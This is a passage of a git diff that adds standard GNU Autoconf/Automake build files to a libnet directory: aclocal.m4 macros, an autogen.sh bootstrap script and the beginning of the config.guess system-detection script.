-O2" + AC_SUBST(GCJFLAGS) +]) + +AC_DEFUN([LT_AC_PROG_RC], +[AC_CHECK_TOOL(RC, windres, no) +]) + +# NOTE: This macro has been submitted for inclusion into # +# GNU Autoconf as AC_PROG_SED. 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See the +# GNU General Public License for more details. + +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA +# 02111-1307, USA. + +# serial 1 + +# Check whether the underlying file-system supports filenames +# with a leading dot. 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See the +# GNU General Public License for more details. + +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA +# 02111-1307, USA. + +# serial 3 + +AC_DEFUN([AM_MAINTAINER_MODE], +[AC_MSG_CHECKING([whether to enable maintainer-specific portions of Makefiles]) + dnl maintainer-mode is disabled by default + AC_ARG_ENABLE(maintainer-mode, +[ --enable-maintainer-mode enable make rules and dependencies not useful + (and sometimes confusing) to the casual installer], + USE_MAINTAINER_MODE=$enableval, + USE_MAINTAINER_MODE=no) + AC_MSG_RESULT([$USE_MAINTAINER_MODE]) + AM_CONDITIONAL(MAINTAINER_MODE, [test $USE_MAINTAINER_MODE = yes]) + MAINT=$MAINTAINER_MODE_TRUE + AC_SUBST(MAINT)dnl +] +) + +AU_DEFUN([jm_MAINTAINER_MODE], [AM_MAINTAINER_MODE]) + +# Check to see how 'make' treats includes. -*- Autoconf -*- + +# Copyright (C) 2001, 2002, 2003 Free Software Foundation, Inc. + +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2, or (at your option) +# any later version. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA +# 02111-1307, USA. + +# serial 2 + +# AM_MAKE_INCLUDE() +# ----------------- +# Check to see how make treats includes. +AC_DEFUN([AM_MAKE_INCLUDE], +[am_make=${MAKE-make} +cat > confinc << 'END' +am__doit: + @echo done +.PHONY: am__doit +END +# If we don't find an include directive, just comment out the code. +AC_MSG_CHECKING([for style of include used by $am_make]) +am__include="#" +am__quote= +_am_result=none +# First try GNU make style include. +echo "include confinc" > confmf +# We grep out `Entering directory' and `Leaving directory' +# messages which can occur if `w' ends up in MAKEFLAGS. +# In particular we don't look at `^make:' because GNU make might +# be invoked under some other name (usually "gmake"), in which +# case it prints its new name instead of `make'. +if test "`$am_make -s -f confmf 2> /dev/null | grep -v 'ing directory'`" = "done"; then + am__include=include + am__quote= + _am_result=GNU +fi +# Now try BSD make style include. +if test "$am__include" = "#"; then + echo '.include "confinc"' > confmf + if test "`$am_make -s -f confmf 2> /dev/null`" = "done"; then + am__include=.include + am__quote="\"" + _am_result=BSD + fi +fi +AC_SUBST([am__include]) +AC_SUBST([am__quote]) +AC_MSG_RESULT([$_am_result]) +rm -f confinc confmf +]) + +# -*- Autoconf -*- + + +# Copyright (C) 1997, 1999, 2000, 2001, 2003 Free Software Foundation, Inc. + +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2, or (at your option) +# any later version. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA +# 02111-1307, USA. + +# serial 3 + +# AM_MISSING_PROG(NAME, PROGRAM) +# ------------------------------ +AC_DEFUN([AM_MISSING_PROG], +[AC_REQUIRE([AM_MISSING_HAS_RUN]) +$1=${$1-"${am_missing_run}$2"} +AC_SUBST($1)]) + + +# AM_MISSING_HAS_RUN +# ------------------ +# Define MISSING if not defined so far and test if it supports --run. +# If it does, set am_missing_run to use it, otherwise, to nothing. +AC_DEFUN([AM_MISSING_HAS_RUN], +[AC_REQUIRE([AM_AUX_DIR_EXPAND])dnl +test x"${MISSING+set}" = xset || MISSING="\${SHELL} $am_aux_dir/missing" +# Use eval to expand $SHELL +if eval "$MISSING --run true"; then + am_missing_run="$MISSING --run " +else + am_missing_run= + AC_MSG_WARN([`missing' script is too old or missing]) +fi +]) + +# AM_PROG_MKDIR_P +# --------------- +# Check whether `mkdir -p' is supported, fallback to mkinstalldirs otherwise. + +# Copyright (C) 2003, 2004 Free Software Foundation, Inc. + +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2, or (at your option) +# any later version. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA +# 02111-1307, USA. + +# Automake 1.8 used `mkdir -m 0755 -p --' to ensure that directories +# created by `make install' are always world readable, even if the +# installer happens to have an overly restrictive umask (e.g. 077). +# This was a mistake. There are at least two reasons why we must not +# use `-m 0755': +# - it causes special bits like SGID to be ignored, +# - it may be too restrictive (some setups expect 775 directories). +# +# Do not use -m 0755 and let people choose whatever they expect by +# setting umask. +# +# We cannot accept any implementation of `mkdir' that recognizes `-p'. +# Some implementations (such as Solaris 8's) are not thread-safe: if a +# parallel make tries to run `mkdir -p a/b' and `mkdir -p a/c' +# concurrently, both version can detect that a/ is missing, but only +# one can create it and the other will error out. Consequently we +# restrict ourselves to GNU make (using the --version option ensures +# this.) +AC_DEFUN([AM_PROG_MKDIR_P], +[if mkdir -p --version . >/dev/null 2>&1 && test ! -d ./--version; then + # We used to keeping the `.' as first argument, in order to + # allow $(mkdir_p) to be used without argument. As in + # $(mkdir_p) $(somedir) + # where $(somedir) is conditionally defined. However this is wrong + # for two reasons: + # 1. if the package is installed by a user who cannot write `.' + # make install will fail, + # 2. the above comment should most certainly read + # $(mkdir_p) $(DESTDIR)$(somedir) + # so it does not work when $(somedir) is undefined and + # $(DESTDIR) is not. + # To support the latter case, we have to write + # test -z "$(somedir)" || $(mkdir_p) $(DESTDIR)$(somedir), + # so the `.' trick is pointless. + mkdir_p='mkdir -p --' +else + # On NextStep and OpenStep, the `mkdir' command does not + # recognize any option. It will interpret all options as + # directories to create, and then abort because `.' already + # exists. + for d in ./-p ./--version; + do + test -d $d && rmdir $d + done + # $(mkinstalldirs) is defined by Automake if mkinstalldirs exists. + if test -f "$ac_aux_dir/mkinstalldirs"; then + mkdir_p='$(mkinstalldirs)' + else + mkdir_p='$(install_sh) -d' + fi +fi +AC_SUBST([mkdir_p])]) + +# Helper functions for option handling. -*- Autoconf -*- + +# Copyright (C) 2001, 2002, 2003 Free Software Foundation, Inc. + +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2, or (at your option) +# any later version. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA +# 02111-1307, USA. + +# serial 2 + +# _AM_MANGLE_OPTION(NAME) +# ----------------------- +AC_DEFUN([_AM_MANGLE_OPTION], +[[_AM_OPTION_]m4_bpatsubst($1, [[^a-zA-Z0-9_]], [_])]) + +# _AM_SET_OPTION(NAME) +# ------------------------------ +# Set option NAME. Presently that only means defining a flag for this option. +AC_DEFUN([_AM_SET_OPTION], +[m4_define(_AM_MANGLE_OPTION([$1]), 1)]) + +# _AM_SET_OPTIONS(OPTIONS) +# ---------------------------------- +# OPTIONS is a space-separated list of Automake options. +AC_DEFUN([_AM_SET_OPTIONS], +[AC_FOREACH([_AM_Option], [$1], [_AM_SET_OPTION(_AM_Option)])]) + +# _AM_IF_OPTION(OPTION, IF-SET, [IF-NOT-SET]) +# ------------------------------------------- +# Execute IF-SET if OPTION is set, IF-NOT-SET otherwise. +AC_DEFUN([_AM_IF_OPTION], +[m4_ifset(_AM_MANGLE_OPTION([$1]), [$2], [$3])]) + +# +# Check to make sure that the build environment is sane. +# + +# Copyright (C) 1996, 1997, 2000, 2001, 2003 Free Software Foundation, Inc. + +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2, or (at your option) +# any later version. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA +# 02111-1307, USA. + +# serial 3 + +# AM_SANITY_CHECK +# --------------- +AC_DEFUN([AM_SANITY_CHECK], +[AC_MSG_CHECKING([whether build environment is sane]) +# Just in case +sleep 1 +echo timestamp > conftest.file +# Do `set' in a subshell so we don't clobber the current shell's +# arguments. Must try -L first in case configure is actually a +# symlink; some systems play weird games with the mod time of symlinks +# (eg FreeBSD returns the mod time of the symlink's containing +# directory). +if ( + set X `ls -Lt $srcdir/configure conftest.file 2> /dev/null` + if test "$[*]" = "X"; then + # -L didn't work. + set X `ls -t $srcdir/configure conftest.file` + fi + rm -f conftest.file + if test "$[*]" != "X $srcdir/configure conftest.file" \ + && test "$[*]" != "X conftest.file $srcdir/configure"; then + + # If neither matched, then we have a broken ls. This can happen + # if, for instance, CONFIG_SHELL is bash and it inherits a + # broken ls alias from the environment. This has actually + # happened. Such a system could not be considered "sane". + AC_MSG_ERROR([ls -t appears to fail. Make sure there is not a broken +alias in your environment]) + fi + + test "$[2]" = conftest.file + ) +then + # Ok. + : +else + AC_MSG_ERROR([newly created file is older than distributed files! +Check your system clock]) +fi +AC_MSG_RESULT(yes)]) + +# AM_PROG_INSTALL_STRIP + +# Copyright (C) 2001, 2003 Free Software Foundation, Inc. + +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2, or (at your option) +# any later version. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA +# 02111-1307, USA. + +# One issue with vendor `install' (even GNU) is that you can't +# specify the program used to strip binaries. This is especially +# annoying in cross-compiling environments, where the build's strip +# is unlikely to handle the host's binaries. +# Fortunately install-sh will honor a STRIPPROG variable, so we +# always use install-sh in `make install-strip', and initialize +# STRIPPROG with the value of the STRIP variable (set by the user). +AC_DEFUN([AM_PROG_INSTALL_STRIP], +[AC_REQUIRE([AM_PROG_INSTALL_SH])dnl +# Installed binaries are usually stripped using `strip' when the user +# run `make install-strip'. However `strip' might not be the right +# tool to use in cross-compilation environments, therefore Automake +# will honor the `STRIP' environment variable to overrule this program. +dnl Don't test for $cross_compiling = yes, because it might be `maybe'. +if test "$cross_compiling" != no; then + AC_CHECK_TOOL([STRIP], [strip], :) +fi +INSTALL_STRIP_PROGRAM="\${SHELL} \$(install_sh) -c -s" +AC_SUBST([INSTALL_STRIP_PROGRAM])]) + +# Check how to create a tarball. -*- Autoconf -*- + +# Copyright (C) 2004 Free Software Foundation, Inc. + +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2, or (at your option) +# any later version. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA +# 02111-1307, USA. + +# serial 1 + + +# _AM_PROG_TAR(FORMAT) +# -------------------- +# Check how to create a tarball in format FORMAT. +# FORMAT should be one of `v7', `ustar', or `pax'. +# +# Substitute a variable $(am__tar) that is a command +# writing to stdout a FORMAT-tarball containing the directory +# $tardir. +# tardir=directory && $(am__tar) > result.tar +# +# Substitute a variable $(am__untar) that extract such +# a tarball read from stdin. +# $(am__untar) < result.tar +AC_DEFUN([_AM_PROG_TAR], +[# Always define AMTAR for backward compatibility. +AM_MISSING_PROG([AMTAR], [tar]) +m4_if([$1], [v7], + [am__tar='${AMTAR} chof - "$$tardir"'; am__untar='${AMTAR} xf -'], + [m4_case([$1], [ustar],, [pax],, + [m4_fatal([Unknown tar format])]) +AC_MSG_CHECKING([how to create a $1 tar archive]) +# Loop over all known methods to create a tar archive until one works. +_am_tools='gnutar m4_if([$1], [ustar], [plaintar]) pax cpio none' +_am_tools=${am_cv_prog_tar_$1-$_am_tools} +# Do not fold the above two line into one, because Tru64 sh and +# Solaris sh will not grok spaces in the rhs of `-'. +for _am_tool in $_am_tools +do + case $_am_tool in + gnutar) + for _am_tar in tar gnutar gtar; + do + AM_RUN_LOG([$_am_tar --version]) && break + done + am__tar="$_am_tar --format=m4_if([$1], [pax], [posix], [$1]) -chf - "'"$$tardir"' + am__tar_="$_am_tar --format=m4_if([$1], [pax], [posix], [$1]) -chf - "'"$tardir"' + am__untar="$_am_tar -xf -" + ;; + plaintar) + # Must skip GNU tar: if it does not support --format= it doesn't create + # ustar tarball either. + (tar --version) >/dev/null 2>&1 && continue + am__tar='tar chf - "$$tardir"' + am__tar_='tar chf - "$tardir"' + am__untar='tar xf -' + ;; + pax) + am__tar='pax -L -x $1 -w "$$tardir"' + am__tar_='pax -L -x $1 -w "$tardir"' + am__untar='pax -r' + ;; + cpio) + am__tar='find "$$tardir" -print | cpio -o -H $1 -L' + am__tar_='find "$tardir" -print | cpio -o -H $1 -L' + am__untar='cpio -i -H $1 -d' + ;; + none) + am__tar=false + am__tar_=false + am__untar=false + ;; + esac + + # If the value was cached, stop now. We just wanted to have am__tar + # and am__untar set. + test -n "${am_cv_prog_tar_$1}" && break + + # tar/untar a dummy directory, and stop if the command works + rm -rf conftest.dir + mkdir conftest.dir + echo GrepMe > conftest.dir/file + AM_RUN_LOG([tardir=conftest.dir && eval $am__tar_ >conftest.tar]) + rm -rf conftest.dir + if test -s conftest.tar; then + AM_RUN_LOG([$am__untar <conftest.tar]) + grep GrepMe conftest.dir/file >/dev/null 2>&1 && break + fi +done +rm -rf conftest.dir + +AC_CACHE_VAL([am_cv_prog_tar_$1], [am_cv_prog_tar_$1=$_am_tool]) +AC_MSG_RESULT([$am_cv_prog_tar_$1])]) +AC_SUBST([am__tar]) +AC_SUBST([am__untar]) +]) # _AM_PROG_TAR + +m4_include([acinclude.m4]) diff --git a/libnet/autogen.sh b/libnet/autogen.sh new file mode 100755 index 0000000..4819e8c --- /dev/null +++ b/libnet/autogen.sh @@ -0,0 +1,21 @@ +#!/bin/sh -ex +# +# A bootstrapping script that can be used to generate the autoconf, +# automake and libtool-related scripts of the build process. +# +# $Id: autogen.sh,v 1.2 2004/08/10 13:57:46 gkeramidas Exp $ + +trap "/bin/rm -fr autom4te.cache ; \ + echo 'Failed to regenerate autoconf/automake stuff.'" 0 1 2 15 +set -e + +rm -fr autom4te.cache +libtoolize --copy --force +aclocal -I . +autoheader +automake -a -c --foreign +autoconf +rm -fr autom4te.cache + +set +e +trap "echo $0 ok" 0 1 2 15 diff --git a/libnet/config.guess b/libnet/config.guess new file mode 100755 index 0000000..6641456 --- /dev/null +++ b/libnet/config.guess @@ -0,0 +1,1449 @@ +#! /bin/sh +# Attempt to guess a canonical system name. +# Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, +# 2000, 2001, 2002, 2003, 2004 Free Software Foundation, Inc. + +timestamp='2004-07-19' + +# This file is free software; you can redistribute it and/or modify it +# under the terms of the GNU General Public License as published by +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. +# +# As a special exception to the GNU General Public License, if you +# distribute this file as part of a program that contains a +# configuration script generated by Autoconf, you may include it under +# the same distribution terms that you use for the rest of that program. + +# Originally written by Per Bothner <per@bothner.com>. +# Please send patches to <config-patches@gnu.org>. Submit a context +# diff and a properly formatted ChangeLog entry. +# +# This script attempts to guess a canonical system name similar to +# config.sub. If it succeeds, it prints the system name on stdout, and +# exits with 0. Otherwise, it exits with 1. +# +# The plan is that this can be called by configure scripts if you +# don't specify an explicit build system type. + +me=`echo "$0" | sed -e 's,.*/,,'` + +usage="\ +Usage: $0 [OPTION] + +Output the configuration name of the system \`$me' is run on. + +Operation modes: + -h, --help print this help, then exit + -t, --time-stamp print date of last modification, then exit + -v, --version print version number, then exit + +Report bugs and patches to <config-patches@gnu.org>." + +version="\ +GNU config.guess ($timestamp) + +Originally written by Per Bothner. +Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004 +Free Software Foundation, Inc. + +This is free software; see the source for copying conditions. There is NO +warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE." + +help=" +Try \`$me --help' for more information." + +# Parse command line +while test $# -gt 0 ; do + case $1 in + --time-stamp | --time* | -t ) + echo "$timestamp" ; exit 0 ;; + --version | -v ) + echo "$version" ; exit 0 ;; + --help | --h* | -h ) + echo "$usage"; exit 0 ;; + -- ) # Stop option processing + shift; break ;; + - ) # Use stdin as input. + break ;; + -* ) + echo "$me: invalid option $1$help" >&2 + exit 1 ;; + * ) + break ;; + esac +done + +if test $# != 0; then + echo "$me: too many arguments$help" >&2 + exit 1 +fi + +trap 'exit 1' 1 2 15 + +# CC_FOR_BUILD -- compiler used by this script. Note that the use of a +# compiler to aid in system detection is discouraged as it requires +# temporary files to be created and, as you can see below, it is a +# headache to deal with in a portable fashion. + +# Historically, `CC_FOR_BUILD' used to be named `HOST_CC'. We still +# use `HOST_CC' if defined, but it is deprecated. + +# Portable tmp directory creation inspired by the Autoconf team. + +set_cc_for_build=' +trap "exitcode=\$?; (rm -f \$tmpfiles 2>/dev/null; rmdir \$tmp 2>/dev/null) && exit \$exitcode" 0 ; +trap "rm -f \$tmpfiles 2>/dev/null; rmdir \$tmp 2>/dev/null; exit 1" 1 2 13 15 ; +: ${TMPDIR=/tmp} ; + { tmp=`(umask 077 && mktemp -d -q "$TMPDIR/cgXXXXXX") 2>/dev/null` && test -n "$tmp" && test -d "$tmp" ; } || + { test -n "$RANDOM" && tmp=$TMPDIR/cg$$-$RANDOM && (umask 077 && mkdir $tmp) ; } || + { tmp=$TMPDIR/cg-$$ && (umask 077 && mkdir $tmp) && echo "Warning: creating insecure temp directory" >&2 ; } || + { echo "$me: cannot create a temporary directory in $TMPDIR" >&2 ; exit 1 ; } ; +dummy=$tmp/dummy ; +tmpfiles="$dummy.c $dummy.o $dummy.rel $dummy" ; +case $CC_FOR_BUILD,$HOST_CC,$CC in + ,,) echo "int x;" > $dummy.c ; + for c in cc gcc c89 c99 ; do + if ($c -c -o $dummy.o $dummy.c) >/dev/null 2>&1 ; then + CC_FOR_BUILD="$c"; break ; + fi ; + done ; + if test x"$CC_FOR_BUILD" = x ; then + CC_FOR_BUILD=no_compiler_found ; + fi + ;; + ,,*) CC_FOR_BUILD=$CC ;; + ,*,*) CC_FOR_BUILD=$HOST_CC ;; +esac ;' + +# This is needed to find uname on a Pyramid OSx when run in the BSD universe. +# (ghazi@noc.rutgers.edu 1994-08-24) +if (test -f /.attbin/uname) >/dev/null 2>&1 ; then + PATH=$PATH:/.attbin ; export PATH +fi + +UNAME_MACHINE=`(uname -m) 2>/dev/null` || UNAME_MACHINE=unknown +UNAME_RELEASE=`(uname -r) 2>/dev/null` || UNAME_RELEASE=unknown +UNAME_SYSTEM=`(uname -s) 2>/dev/null` || UNAME_SYSTEM=unknown +UNAME_VERSION=`(uname -v) 2>/dev/null` || UNAME_VERSION=unknown + +# Note: order is significant - the case branches are not exclusive. + +case "${UNAME_MACHINE}:${UNAME_SYSTEM}:${UNAME_RELEASE}:${UNAME_VERSION}" in + *:NetBSD:*:*) + # NetBSD (nbsd) targets should (where applicable) match one or + # more of the tupples: *-*-netbsdelf*, *-*-netbsdaout*, + # *-*-netbsdecoff* and *-*-netbsd*. For targets that recently + # switched to ELF, *-*-netbsd* would select the old + # object file format. This provides both forward + # compatibility and a consistent mechanism for selecting the + # object file format. + # + # Note: NetBSD doesn't particularly care about the vendor + # portion of the name. We always set it to "unknown". + sysctl="sysctl -n hw.machine_arch" + UNAME_MACHINE_ARCH=`(/sbin/$sysctl 2>/dev/null || \ + /usr/sbin/$sysctl 2>/dev/null || echo unknown)` + case "${UNAME_MACHINE_ARCH}" in + armeb) machine=armeb-unknown ;; + arm*) machine=arm-unknown ;; + sh3el) machine=shl-unknown ;; + sh3eb) machine=sh-unknown ;; + *) machine=${UNAME_MACHINE_ARCH}-unknown ;; + esac + # The Operating System including object format, if it has switched + # to ELF recently, or will in the future. + case "${UNAME_MACHINE_ARCH}" in + arm*|i386|m68k|ns32k|sh3*|sparc|vax) + eval $set_cc_for_build + if echo __ELF__ | $CC_FOR_BUILD -E - 2>/dev/null \ + | grep __ELF__ >/dev/null + then + # Once all utilities can be ECOFF (netbsdecoff) or a.out (netbsdaout). + # Return netbsd for either. FIX? + os=netbsd + else + os=netbsdelf + fi + ;; + *) + os=netbsd + ;; + esac + # The OS release + # Debian GNU/NetBSD machines have a different userland, and + # thus, need a distinct triplet. However, they do not need + # kernel version information, so it can be replaced with a + # suitable tag, in the style of linux-gnu. + case "${UNAME_VERSION}" in + Debian*) + release='-gnu' + ;; + *) + release=`echo ${UNAME_RELEASE}|sed -e 's/[-_].*/\./'` + ;; + esac + # Since CPU_TYPE-MANUFACTURER-KERNEL-OPERATING_SYSTEM: + # contains redundant information, the shorter form: + # CPU_TYPE-MANUFACTURER-OPERATING_SYSTEM is used. + echo "${machine}-${os}${release}" + exit 0 ;; + amd64:OpenBSD:*:*) + echo x86_64-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + amiga:OpenBSD:*:*) + echo m68k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + arc:OpenBSD:*:*) + echo mipsel-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + cats:OpenBSD:*:*) + echo arm-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + hp300:OpenBSD:*:*) + echo m68k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + luna88k:OpenBSD:*:*) + echo m88k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + mac68k:OpenBSD:*:*) + echo m68k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + macppc:OpenBSD:*:*) + echo powerpc-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + mvme68k:OpenBSD:*:*) + echo m68k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + mvme88k:OpenBSD:*:*) + echo m88k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + mvmeppc:OpenBSD:*:*) + echo powerpc-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + pmax:OpenBSD:*:*) + echo mipsel-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + sgi:OpenBSD:*:*) + echo mipseb-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + sun3:OpenBSD:*:*) + echo m68k-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + wgrisc:OpenBSD:*:*) + echo mipsel-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + *:OpenBSD:*:*) + echo ${UNAME_MACHINE}-unknown-openbsd${UNAME_RELEASE} + exit 0 ;; + *:ekkoBSD:*:*) + echo ${UNAME_MACHINE}-unknown-ekkobsd${UNAME_RELEASE} + exit 0 ;; + macppc:MirBSD:*:*) + echo powerppc-unknown-mirbsd${UNAME_RELEASE} + exit 0 ;; + *:MirBSD:*:*) + echo ${UNAME_MACHINE}-unknown-mirbsd${UNAME_RELEASE} + exit 0 ;; + alpha:OSF1:*:*) + case $UNAME_RELEASE in + *4.0) + UNAME_RELEASE=`/usr/sbin/sizer -v | awk '{print $3}'` + ;; + *5.*) + UNAME_RELEASE=`/usr/sbin/sizer -v | awk '{print $4}'` + ;; + esac + # According to Compaq, /usr/sbin/psrinfo has been available on + # OSF/1 and Tru64 systems produced since 1995. I hope that + # covers most systems running today. This code pipes the CPU + # types through head -n 1, so we only detect the type of CPU 0. + ALPHA_CPU_TYPE=`/usr/sbin/psrinfo -v | sed -n -e 's/^ The alpha \(.*\) processor.*$/\1/p' | head -n 1` + case "$ALPHA_CPU_TYPE" in + "EV4 (21064)") + UNAME_MACHINE="alpha" ;; + "EV4.5 (21064)") + UNAME_MACHINE="alpha" ;; + "LCA4 (21066/21068)") + UNAME_MACHINE="alpha" ;; + "EV5 (21164)") + UNAME_MACHINE="alphaev5" ;; + "EV5.6 (21164A)") + UNAME_MACHINE="alphaev56" ;; + "EV5.6 (21164PC)") + UNAME_MACHINE="alphapca56" ;; + "EV5.7 (21164PC)") + UNAME_MACHINE="alphapca57" ;; + "EV6 (21264)") + UNAME_MACHINE="alphaev6" ;; + "EV6.7 (21264A)") + UNAME_MACHINE="alphaev67" ;; + "EV6.8CB (21264C)") + UNAME_MACHINE="alphaev68" ;; + "EV6.8AL (21264B)") + UNAME_MACHINE="alphaev68" ;; + "EV6.8CX (21264D)") + UNAME_MACHINE="alphaev68" ;; + "EV6.9A (21264/EV69A)") + UNAME_MACHINE="alphaev69" ;; + "EV7 (21364)") + UNAME_MACHINE="alphaev7" ;; + "EV7.9 (21364A)") + UNAME_MACHINE="alphaev79" ;; + esac + # A Pn.n version is a patched version. + # A Vn.n version is a released version. + # A Tn.n version is a released field test version. + # A Xn.n version is an unreleased experimental baselevel. + # 1.2 uses "1.2" for uname -r. + echo ${UNAME_MACHINE}-dec-osf`echo ${UNAME_RELEASE} | sed -e 's/^[PVTX]//' | tr 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' 'abcdefghijklmnopqrstuvwxyz'` + exit 0 ;; + Alpha\ *:Windows_NT*:*) + # How do we know it's Interix rather than the generic POSIX subsystem? + # Should we change UNAME_MACHINE based on the output of uname instead + # of the specific Alpha model? + echo alpha-pc-interix + exit 0 ;; + 21064:Windows_NT:50:3) + echo alpha-dec-winnt3.5 + exit 0 ;; + Amiga*:UNIX_System_V:4.0:*) + echo m68k-unknown-sysv4 + exit 0;; + *:[Aa]miga[Oo][Ss]:*:*) + echo ${UNAME_MACHINE}-unknown-amigaos + exit 0 ;; + *:[Mm]orph[Oo][Ss]:*:*) + echo ${UNAME_MACHINE}-unknown-morphos + exit 0 ;; + *:OS/390:*:*) + echo i370-ibm-openedition + exit 0 ;; + *:OS400:*:*) + echo powerpc-ibm-os400 + exit 0 ;; + arm:RISC*:1.[012]*:*|arm:riscix:1.[012]*:*) + echo arm-acorn-riscix${UNAME_RELEASE} + exit 0;; + SR2?01:HI-UX/MPP:*:* | SR8000:HI-UX/MPP:*:*) + echo hppa1.1-hitachi-hiuxmpp + exit 0;; + Pyramid*:OSx*:*:* | MIS*:OSx*:*:* | MIS*:SMP_DC-OSx*:*:*) + # akee@wpdis03.wpafb.af.mil (Earle F. Ake) contributed MIS and NILE. + if test "`(/bin/universe) 2>/dev/null`" = att ; then + echo pyramid-pyramid-sysv3 + else + echo pyramid-pyramid-bsd + fi + exit 0 ;; + NILE*:*:*:dcosx) + echo pyramid-pyramid-svr4 + exit 0 ;; + DRS?6000:unix:4.0:6*) + echo sparc-icl-nx6 + exit 0 ;; + DRS?6000:UNIX_SV:4.2*:7*) + case `/usr/bin/uname -p` in + sparc) echo sparc-icl-nx7 && exit 0 ;; + esac ;; + sun4H:SunOS:5.*:*) + echo sparc-hal-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` + exit 0 ;; + sun4*:SunOS:5.*:* | tadpole*:SunOS:5.*:*) + echo sparc-sun-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` + exit 0 ;; + i86pc:SunOS:5.*:*) + echo i386-pc-solaris2`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` + exit 0 ;; + sun4*:SunOS:6*:*) + # According to config.sub, this is the proper way to canonicalize + # SunOS6. Hard to guess exactly what SunOS6 will be like, but + # it's likely to be more like Solaris than SunOS4. + echo sparc-sun-solaris3`echo ${UNAME_RELEASE}|sed -e 's/[^.]*//'` + exit 0 ;; + sun4*:SunOS:*:*) + case "`/usr/bin/arch -k`" in + Series*|S4*) + UNAME_RELEASE=`uname -v` + ;; + esac + # Japanese Language versions have a version number like `4.1.3-JL'. + echo sparc-sun-sunos`echo ${UNAME_RELEASE}|sed -e 's/-/_/'` + exit 0 ;; + sun3*:SunOS:*:*) + echo m68k-sun-sunos${UNAME_RELEASE} + exit 0 ;; + sun*:*:4.2BSD:*) + UNAME_RELEASE=`(sed 1q /etc/motd | awk '{print substr($5,1,3)}') 2>/dev/null` + test "x${UNAME_RELEASE}" = "x" && 